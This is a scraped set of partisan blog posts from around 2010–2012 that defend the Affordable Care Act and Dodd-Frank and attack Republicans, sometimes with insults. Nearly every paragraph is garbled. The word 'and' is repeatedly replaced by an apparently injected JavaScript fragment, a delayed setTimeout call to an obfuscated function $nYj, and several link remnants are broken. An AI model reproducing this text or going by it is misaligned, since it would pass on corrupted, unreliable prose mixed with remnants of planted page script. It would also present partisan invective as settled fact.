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When it comes to Obamacare, are Americans able to tell Fact from Fiction anymore?

When it comes to Obamacare, are Americans able to tell Fact from Fiction anymore?

Polling suggests that two thirds of Americans want to see all or part of the Affordable Care Act thrown out by the Supreme Court, the most unpopular provision being the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate.

Many of these are, of course, Republicans whose opposition is mostly mindless: They’re against it on principle because, well, it was pushed by President Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a Democratic Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that’s enough in itself. The rest are among the 31% of Americans who even after two years still seem to have no clue what’s in the bill according to the Pew Research Center. And this includes many who would benefit the most from the law, as highlighted by the New York Times.

It is simply mind-boggling to have that much ignorance in the country on a major piece of legislation that will benefit all of us in one way or another two years after it was enacted.

Particularly troubling is the extent of opposition to the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate even as other polling shows strong support from many of the same people for keeping popular provisions such as barring insurance companies from excluding people with pre-existing conditions. Which begs the question: Do these Americans actually understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how insurance works?

For example, would we compel an automobile insurance company to take on an uninsured motorist who’s just had a prang andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then expect them to pay for the damage? Of course not; so how can we require a medical insurance firm to do likewise for a willfully uninsured individual who has just discovered he’s ill. And if we did, what the heck would happen to our insurance premiums? Yes, they’d skyrocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, furthermore, such a mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate would drive most insurance companies entirely out of the individual market quicker than you can say “pre-existing condition”. And this isn’t guesswork either. We have empirical evidence from states who tried it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate28m.htm” target=”_blank”>including my own state of Washington.

The Affordable Care Act is our last chance to reform the private medical insurance market to make it work for all of us, not just for the industry. And the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate is the pillar which supports the rest of it. Don’t be fooled by the plethora of articles from those who suggest that much of the law’s provisions will survive without it – they won’t.

If two thirds of Americans truly oppose the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate, then two thirds of Americans are idiots, although as Greg Sargent explains in The Washington Post most of them will never know what they missed.

So Many Reasons to be a Bitter American

So Many Reasons to be a Bitter American

I’ve been feeling bitter about all the bad things happening during the last couple of weeks.

Paul Ryan introduces his budget that cuts programs for the needy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gives more huge tax cuts to the rich.

Supreme Court Justice Scalia builds a straw man out of broccoli andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then chews it up andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spits it out during the Obamacare arguments.

Republicans blame Obama for the rising cost of gasoline.

George Zimmerman, the murderer of Trayvon Martin, still hasn’t been charged for his crime.

So what do I do? Well not much blogging. Just drinking. And what better beer to drink during these times than 21st Amendment Brewery’s latest seasonal brew, a session IPA they call Bitter American.

 

This IPA has about half the alcohol content of their other ones. That means you can savor a few cans before your legs get all wobbly.

So get off your monkey ass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go buy some while you can – then find your deep space.

2012 Election Requires Unprecedented Sophistication from the Electorate

2012 Election Requires Unprecedented Sophistication from the Electorate

Conventional wisdom has it that in the absence of a dramatic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and highly unlikely decrease in the unemployment rate between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the 2012 election, President Obama’s electoral goose, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably that of congressional Democrats, is well andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and truly cooked.

His favorability rating in recent polls hovers around 45%, a grumpy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pessimistic electorate blames him as much as congressional Republicans for the government’s inability to improve the nation’s employment numbers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and increasing anger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and disgust with governmental paralysis threatens the electoral prospects of Democrats, in particular, as the party identified with the belief in the essential role of government.  

Yet voters will be making an historic mistake if they turn to Republicans as a means of punishing Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Democrats for their inability thus far to fix all that ails us in the wake of the Great Recession.  Let’s consider two of the most noteworthy policy accomplishments since January 2009.

Democrats have passed legislation that, while far from perfect, promises to significantly improve access for all Americans to affordable health care insurance once its provisions come fully into effect in 2014. Americans have embraced the few key provisions which have already been implemented such as enabling parents to extend the health insurance coverage of their children to age 26. When the law fully takes effect, insurance companies will no longer be able to deny coverage because of pre-existing medical conditions, or cap the amount they will spend, or dump sick policy-holders on spurious grounds.

The Dodd-Frank financial reform law will go a long way towards ensuring that we don’t experience another system meltdown by curtailing the most irresponsible behavior of banking institutions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that future failures will be managed in such a way as to avoid a potential systemic collapse as occurred in 2008.  It also establishes a consumer protection bureau that will – now here’s a novelty – fight on our behalf against the worst predatory excesses of the Big Banks.    

These laws have three things in common: They both place the interests of ordinary Americans over those of the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and powerful, whether Big Banks or Big Insurance (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the case of the Affordable Care Act, represents a rare transfer of wealth from the rich to the middle-class); they were enacted over the strenuous objections of Republicans in Congress; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans have vowed to repeal both laws if they regain control of the government.

As for the Obama stimulus package passed by Democratic lawmakers in early 2009 with just one GOP vote, it (along with TARP passed under the Bush administration) probably prevented the Great Recession from becoming another Great Depression according to many prominent economists. If the stimulus law had any significant flaws, they were that it wasn’t big enough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that too much of it went on tax credits instead of additional targeted spending andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and aid to states.

Even now GOP proposals to address what ails us economically are derisory. First andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foremost they would drastically reduce federal spending which will do far more harm than good in the long term by slashing government funded scientific research andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and development andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and support for education, which will impede our ability to compete economically. And in the short term will result in more layoffs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reduced economic activity.  Their other Big Idea is to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidates-2012″ target=”_blank”>roll back environmental regulations to reverse decades of progress in curbing health-damaging pollution andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protecting our landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from unfettered development by the oil, gas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mining industries.

The electorate bemoans the paralysis of a feckless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ineffective government yet assumes no responsibility for its role in creating the conditions for governmental dysfunction by handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding control of the House of Representatives to a GOP in the 2010 mid-term elections that was being increasingly dominated by an extremist Tea Party minority. Why?  The answer evidently was to punish Obama andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Democrats because they had failed to fix in two years the catastrophic consequences of the GOP’s deregulatory zealotry.

In its current incarnation, the GOP is bereft of any useful governing principles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ideas to competently steer the country, but has resolved to make it impossible for a Democrat in the White House to govern effectively, no matter what the cost to the country. A first step to restoring sanity to our political system is to deliver a resounding electoral defeat to todays’ destructive andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and extremist GOP in 2012.  I won’t hold my breath.

If Americans fail to display a greater degree of sophistication in 2012 than they did in 2010, the consequences could be disastrous.   They would only begin with the repeal of health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and banking reform; they could end with an acceleration of America’s decline andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fall from economic pre-eminence that may well prove to be irreversible.

Radical Republicans Intend to Slash Government Spending for Millions in Need

Radical Republicans Intend to Slash Government Spending for Millions in Need

The next time you hear Michele Bachman or Rick Perry or John Boehner or any Republican for that matter, or some right-wing pundit expound on American exceptionalism, remember these numbers: 50, 46 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and 41. Why? Well, 50 is the number of millions of people in America currently with no health insurance. And 46 million Americans now rely on food stamps to keep themselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their families fed. And last but not least, 41st is where we rank in the world infant mortality rate table behind, among forty others apparently, Cuba.

There are plenty of other depressing statistics concerning the well-being of Americans but I’ll just mention two others: One in six Americans is going hungry or isn’t sure where the next meal is coming from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, for children, that number is an appalling one in four.  Feeling exceptional? No, me neither, or at least not in a good way.

The lack of health insurance for so many along with the infant mortality rate is a direct result of our current dysfunctional health care non-system. Unlike Americans, citizens of other countries do not lose access to health care coverage merely because they have been laid off.

The number of Americans who are seriously hurting in the current economy has exploded. All the more confounding, then, is the Republican Party’s destructive obsession with slashing government spending which betrays a callousness bordering on obscene in its utter disregard for the needs of ordinary Americans.    It’s not enough that most state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local governments, saving those shielded by oil andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gas tax revenues, have been compelled to cut public service jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reduce services in this recession (Texas being an exception in that it has plenty of revenue sources but chose to slash state spending anyway).  Now the GOP has its sights set on the federal government.

It matters not at all to the Republican leadership or its base, of course, that millions of Americans will suffer as a consequence.  It’s not even a matter of concern that reducing government spending in a recession will likely hurt not help the economy.

In fact, doing further damage to the economy by reducing government spending is a huge bonus for the GOP that provides multiple benefits. For one, it will make it that much harder for President Obama to win re-election. It will further erode the electorate’s faith in government, already at its lowest level ever. One would think this would damage both parties but it mainly hurts the Democrats as the party identified with government, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and helps the anti-government GOP. Never mind that it is Republicans who, through their bloody minded andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fanatical behavior, have paralyzed government’s ability to act, made a circus out of something as simple andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and common-sense as raising the national debt ceiling, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and done everything in their power to engender in the people the utter disgust they now feel.

The Republican hostility to government rests, ostensibly, in their visceral belief that it hinders rather than helps the nation through its expensive overreach andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and incompetence. The reality, however, is that today’s Republicans reserve their most intense dislike for the programs that work well, such as Social Security, Medicare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Medicaid. Competent government is the real enemy that undermines the GOP’s ideology andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and reason for being. This is one reason they have set their sights on killing the Patient andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Affordable Care Act passed by Democrats in 2010. With nothing even remotely worthwhile to replace it, the GOP is determined to kill this modest but necessary health reform bill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ensure that all the power remains with the health insurance industry.

It has never been more critical for Americans to inform themselves on these issues andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see the Republican Party for the radical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and destructive force it is, the party that is utterly incompetent when they hold the White House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the majority in Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wages the political equivalent of guerilla warfare when it doesn’t.

Mediscare and Other GOP Healthcare Myths

Mediscare and Other GOP Healthcare Myths

Congressman Paul Ryan has been bleating pitifully of late about “mediscare” tactics from Democrats in their criticisms of his proposed 2012 budget. In doing so he glosses over the fact that he and all other Republican lawmakers spent 2009 and 2010 engaging in mediscare on steroids as they attacked the Affordable Care Act passed by Democrats and signed by President Obama.

The ACA merely calls for defunding government-subsidized private insurance supplementary plans and to find efficiencies in the Medicare program that don’t sacrifice quality of care. What we got from Republicans were screams of “rationing” and “death panels.”

What’s more Ryan’s budget does end Medicare as we know it and no rhetorical contortions, such as comparing it to the insurance plan of members of congress, or to the Medicare drug benefit, can conceal the fact. Ryan’s proposal differs in one critical respect: unlike those examples he cited in a desperate effort to reassure Americans, the value of his proposed Medicare voucher/benefit will not keep pace with health inflation meaning that, over time, its value will inevitably decrease and seniors’ out-of-pocket expenses soar. They will, in effect, be in the same boat as those working Americans who depend on the private insurance market and who are woefully underinsured. The chronically ill will take the biggest hit, a theme that runs through all GOP healthcare proposals (remember medical savings accounts?).

Ryan’s plan founders on two fundamental misconceptions held by the right-wing in this country: that healthcare is just another consumer product on which we should make our own decisions and thus can be successfully regulated by market forces; and that the free market is the most efficient way to control health costs.

The second proposition is easily disproved. America spends a much higher percentage of GDP on health than, say, the United Kingdom or Canada. Yet those countries (and all other advanced nations for that matter) provide universal healthcare with zero out-of pocket expenses to their citizens, while the private insurance system here leaves scores of millions of Americans either uninsured or so under-insured that they risk personal bankruptcy if they incur large medical expenses. The reason is simple. Government-regulated systems abroad are able to wring far greater efficiencies from employing rational rationing of services, than is the private insurance industry in America, which employs irrational rationing based on whether you are fortunate enough to have a job with health insurance or rich enough for it not to matter, or whether you are insurable because you don’t have a pre-existing condition. And Medicare, despite room for improvement, still delivers more bang for the buck than private insurance companies, with their 15% administrative overhead.

There are two key flaws in attempting to treat health care like any other consumer product. First, it assumes that we can make decisions on buying healthcare insurance and services as we do in deciding whether to buy a new car or pay for private school for my kid. The fact is I can do without those things if I decide I can’t afford them or they just aren’t cost effective. That isn’t the case with health care which will be needed by all of us, whether we like it or not, and where delay can be fatal. And secondly, am I really the best judge of what health services I need? Are any of us? That’s why we have doctors and other health professionals to help us through those decisions; making them alone based in part on the economics, which is the essence of the GOP’s health care ideology, has far greater potential for higher costs later and lousy outcomes as we delay or defer necessary and maybe urgent treatment, or purchase a bare bones policy with huge deductibles.

Everyone with a brain knows that Ryan’s privatization proposal for Medicare is not about cutting the deficit but, rather, a reflection of the GOP’s ideologically-driven hatred of a government program that works. The phony mantle of deficit reduction did not, however, shield the GOP from the ire of the electorate. To their credit even seniors who would be grandfathered (no pun intended) under the present system have rejected it.

There’s no doubt that many billions in savings are possible from making Medicare more efficient, but the starting point has to be to preserve it in its present form, and to implement the ACA in its entirety for the rest of us. For Americans to follow the GOP on health care is to court disaster.

GOP Opposes Healthcare Rationing Except When It Doesn’t

GOP Opposes Healthcare Rationing Except When It Doesn’t

When Republicans talk disparagingly of healthcare rationing, it’s usually in the context of the Canadian health system or the British Health Service. Of course, they never mention the success of those models in providing universal care at a significantly lower percentage of gross domestic product (GDP) than does the United States. More recently, the GOP has added the Affordable Care Act (ACA) to the list of perpetrators of rationing, with its fictional “death panels.”

Yet the fact is that no advanced country rations its health care as pervasively or as disgracefully as the United States, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we manage to do it in the most irrational way possible: on the basis of your economic status. In America, if you are wealthy enough to easily pay the cost of health insurance premiums, or you work for an employer that provides coverage, no worries. If you meet eligibility requirements for Medicare you’re among the fortunate. If you qualify for Medicaid, you’re not likely to be among the country’s fortunate, but at least you have your health expenses met as long as you remain poor enough.  Everyone else, on the other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, has no health insurance security.

And so this is how America rations health care, by ensuring that some 50 million Americans  at any one time have no insurance coverage to help pay for it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and many millions more are so underinsured that if they were to actually get sick they would be subject to massive out-of-pocket expenses.

The  ACA represents a serious effort to make some sense of this mish mash of government programs for the elderly andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and destitute andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and under-regulated private insurance plans for the rest, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to develop a more cohesive healthcare system for all. And ACA includes significant efforts to explore ways to hold down health costs through the creation of, among other bodies, the Patient-Centered Outcomes Research Institute (PCORI), designed to find the best andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and most efficient medical practices. Yet the GOP response is to brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and such efforts as health care rationing as though what we have currently, the chaos that passes for a system now, isn’t the very worst example of what they see in the PCORI.

Health costs are eating up a disproportionate percentage of our national wealth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and driving our budget deficits. Getting them under control has to be the highest priority andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ACA is a welcome step in that direction. Republicans respond with fear mongering andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lies even whilst Republican governors have deemed some medical treatments too costly for Medicaid to pay for in their states, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as the GOP works tirelessly to repeal the ACA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and replace it with…nothing.

The GOP is not against deficits since they’re not interested in finding more efficient ways to deliver health care andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and positive outcomes. And they are not opposed to health care rationing, some form of which is unavoidable if societies, including this one, are not to court bankruptcy.  What the GOP does oppose is a form of healthcare rationing that does not hinge, first andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foremost, on whether you are a have or a have not in this society.  And that is shameful.

Our Politicized Judiciary

Our Politicized Judiciary

In addition to their jobs as US District Court Judges, Roger Vinson andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Henry Hudson have at least two other things in common: they have both ruled that the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate to buy medical insurance contained in the Affordable Care Act is unconstitutional (Judge Vinson went further than Hudson in throwing out the entire law rather than that single element), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they were both nominated by Republican presidents.  Two other judges, US District Judge George Steeh andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and US District Judge Norman Moon, have upheld the law. Both were nominated by Democrats.

There has been much speculation in the last several years that our judiciary, including the US Supreme Court, has become increasingly politicized. The fact that these ideologically divided judicial decisions come after the ACA itself was passed in the face of unanimous andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitter partisan opposition from Republicans in congress can only serve to reinforce those concerns. Appellate courts will now have their say before the matter moves to the Supreme Court where many are predicting an ideological split (Roberts/Scalia/Alito/Thomas vs. Ginsburg/Breyer/Sotomayor/Kagan) with Kennedy being the swing vote

In a recent letter to The New York Times Lawrence Tribe, a law professor at Harvard Law School, rejects the notion that the Supreme Court will undergo such a partisan split on the case, believing that it’s an insult to the intellect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and integrity of the conservative judges to believe that they will uphold the flawed reasoning of either Vinson or Hudson.

Let’s hope he’s right. It’s disconcerting, nevertheless, for laymen, with no particular legal training to be able to predict, with seemingly uncanny accuracy, how the court will divide on ideologically charged issues such as upholding an individual’s right to own a gun (District of Columbia vs. Hellier andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and McDonald vs. Chicago) or on George W Bush’s detention policies at Guantanamo Bay; or how district court judges will rule on the health care law.

The Affordable Care Act, aka “Obamacare” Explained

The Affordable Care Act, aka “Obamacare” Explained

The andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and_Affordable_Care_Act” target=”_blank”>Patient Protection andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Affordable Care Act as explained by Paul Krugman in a blog post yesterday:

The other route [as opposed to government provided insurance] is the one Mitt Romney took in Massachusetts, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Democrats took nationally, combining regulation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subsidies to get everyone covered. The strategy has three parts:

– Community rating: insurers must offer the same policies to everyone

– Mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andates: everyone must buy insurance, so healthy people can’t opt out

– Subsidies to lower-income families, so everyone can afford to buy that required insurance.

All three legs of the stool are essential. In particular, you can’t manage without the mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate; if healthy people opt out, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and especially if they opt back in when they get sick, the death spiral will undo the whole thing.

It’s not really all that complicated. And as a way of getting everyone insured, it works – several European countries have systems more or less along these lines, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Massachusetts is up to 98 percent coverage.

It’s a bit of a Rube Goldberg device, a sort of indirect way of simulating single-payer. But it’s better than leaving tens of millions of Americans uninsured – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it also establishes the principle of universal coverage, which one can hope will lead to a better system over time. In particular, there may yet be a chance – not soon, but eventually — to reintroduce a public option, allowing people to bypass private insurers, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and potentially leading in the long run to a simpler system.

Why are House Republicans so adamantly opposed to the law?  The number one reason is because it might work, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that would be bad for them because it wasn’t their idea, even though it kind of was since it was modeled after Mitt Romney’s plan for Massachusetts.  And number two is they absolutely despise the public option, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they want to nip the whole universal healthcare idea in the bud before we get anywhere near to implementing an affordable government-run alternative to greedy insurance companies.

So what we get this week from the puerile majority party is some political theater starring the Weeper of the House with his comically large gavel in handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and presiding over a House vote on the “Job-Killing Health Care Act.” Yes, that really is the name of the bill. (Isn’t it great to have the adults back in charge of the House?)  They call it that even though independent experts say it does no such thing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what the CBO actually said in the report referenced by the Republicans was:

The Congressional Budget Office (CBO) estimates that the legislation, on net, will reduce the amount of labor used in the economy by a small amount—roughly half a percent—primarily by reducing the amount of labor that workers choose to supply.

Or as to older workers being able to retire earlier because they don’t have to worry about their healthcare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others voluntarily leaving the workforce or reducing their hours.  So it is job killing in the sense that getting more sleep at night is “awake killing.”

There might even be a few Republicans who actually know the truth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and would like to vote against Boehner’s silly bill, but they won’t.  If they did, Boehner would single them out as “dead men” (see two posts down) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make sure that they received no help from their party when they are up for re-election.

If you want to read some more analysis on the Republicans’ anti-healthcare reform agenda, please scroll down five posts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read “Republicans are Mindless on Healthcare” by N.J. Barnes.

Republicans are Mindless on Healthcare

Republicans are Mindless on Healthcare

The phrase “government takeover of healthcare,” deserving winner of PolitiFact.com’s  2010 Lie of the Year award, was thought up by a Republican marketing strategist named Frank Luntz as a slogan for the use of GOP politicians to describe the Democratic plan for healthcare reform.  It wasn’t the only whopper repeated ad nauseam by Republicans as the debate unfolded on the health bill that ultimately was signed into law by President Obama (remember death panels?), but it was certainly the most effective.

The GOP failed to stop the Affordable Care Act but, with a new majority in the House andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a strengthened minority in the Senate, tonpost.com/wp-dyn/content/article/2011/01/03/AR2011010305520.html” target=”_blank”>GOP lawmakers are set to impede andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, if possible, prevent the implementation of the new law by withholding funds necessary for that purpose.  Meanwhile, GOP state attorneys general have challenged the constitutionality of the individual insurance mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate in federal court.  The Supreme Court will decide that issue.  

There can be little doubt that Republicans won the public relations battle with their sustained campaign of misinformation, disinformation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and outright lies, ably assisted by right-wing propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda organs such as hate radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fox News, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their own uninformed, loud-mouthed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and selfish base, personified by the Tea-Baggers.  Going forward, however, it is far from clear how the issue will play out in the future.

Democrats will use the opportunity presented by the GOP’s piecemeal healthcare reform repeal efforts to make the case yet again for the ACA andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, as more of the bill’s benefits come into play, will highlight what Americans will lose if the GOP is successful.  Polling by the Kaiser Foundation among others has shown repeatedly that among those Americans who oppose the bill there is a marked ignorance of even its main provisions (which, taken separately, even opponents support).

And then there’s that perplexing legal challenge to the individual health insurance mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate.   Obviously, Republicans have seized on this feature of the bill as being most vulnerable on constitutional grounds in the hope that if it’s stripped from the law the whole thing will unravel.  But does it make sense on either policy or political grounds to challenge the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate?

Despite their “government takeover of healthcare” nonsense, even the dimmest Republican lawmaker knows that the ACA is not anything of the sort. Rather, it is at its heart a more muscular regulation of the private insurance industry, an effort to turn a chaotic mess into something resembling an actual system.  The individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate dramatically increases the pool of the healthy insured to enable insurance companies to absorb regulatory changes that prevent them from dumping policy holders who actually get sick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and from turning away any individual with a pre-existing condition.  Take away the individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it raises a real doubt that the private health insurance industry will remain viable.  In effect, if they win in court Republicans may enjoy a classic Pyrrhic victory: the unraveling of national private health insurance, as embodied in the ACA, while making the case that only a single payer healthcare system can really work to provide universal care.  And in the interim it will return America to  healthcare chaos.

If anyone is in any doubt that Republicans are not merely liars but also hypocrites on the subject of healthcare reform in general andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rationing in particular, then read Norm Ornstein’s timely piece in Saturday’s Washington Post on to save money in hard-hit budgets.  After all tax cuts are so much more important than quality healthcare.

To Those Departing Democrats: Thanks!

To Those Departing Democrats: Thanks!

With its lame duck session about to convene on Monday, this may be an appropriate moment to wholeheartedly applaud the 111th Congress as one that was not only extraordinarily productive, but also in which important pieces of legislation were passed by the Democratic majority with minimal or no GOP support, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in the teeth of bitter opposition from some of the most powerful special interests in the country.

This last fact has received far too little attention from the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the populace at large, lost as it’s been in voter preoccupation with a staggering economy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cacophony of sound from screeching Republicans, Tea Baggers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and right-wing pundits.  The health insurance, credit card andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and banking industries all saw legislation passed in favor of ordinary Americans by this Congress.  And the health bill in particular is noteworthy for what it also represents: a significant transfer of wealth from the affluent to middle andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and working class Americans, a rarity indeed since the election of Ronald Reagan to the presidency.  Americans who frequently voice anger at the influence of Big Business andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other moneyed special interest lobbies in Washington, had reason to be well pleased.

Instead, too many of the Democrats who made the tough votes lost their seats in the recent mid-term elections.  Writers on this blog have already commented on the utter injustice of that result andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it will do little good to lament what cannot be changed.  Nothing, however, can detract from the signal achievements of the 111th Congress, irrespective of how little credit was bestowed on it by a grumpy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ill-informed electorate.

Those who say the election was a referendum on healthcare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and financial reform are dead wrong. That will come in 2012 when Republicans will have a shot at the White House as well as control of both houses of Congress.  If they win, most andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and perhaps all of the legislation passed by the 111th will be repealed or watered down to meaninglessness.

However, nobody will be able to argue that Americans were not afforded a clear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unambiguous choice by this Congress.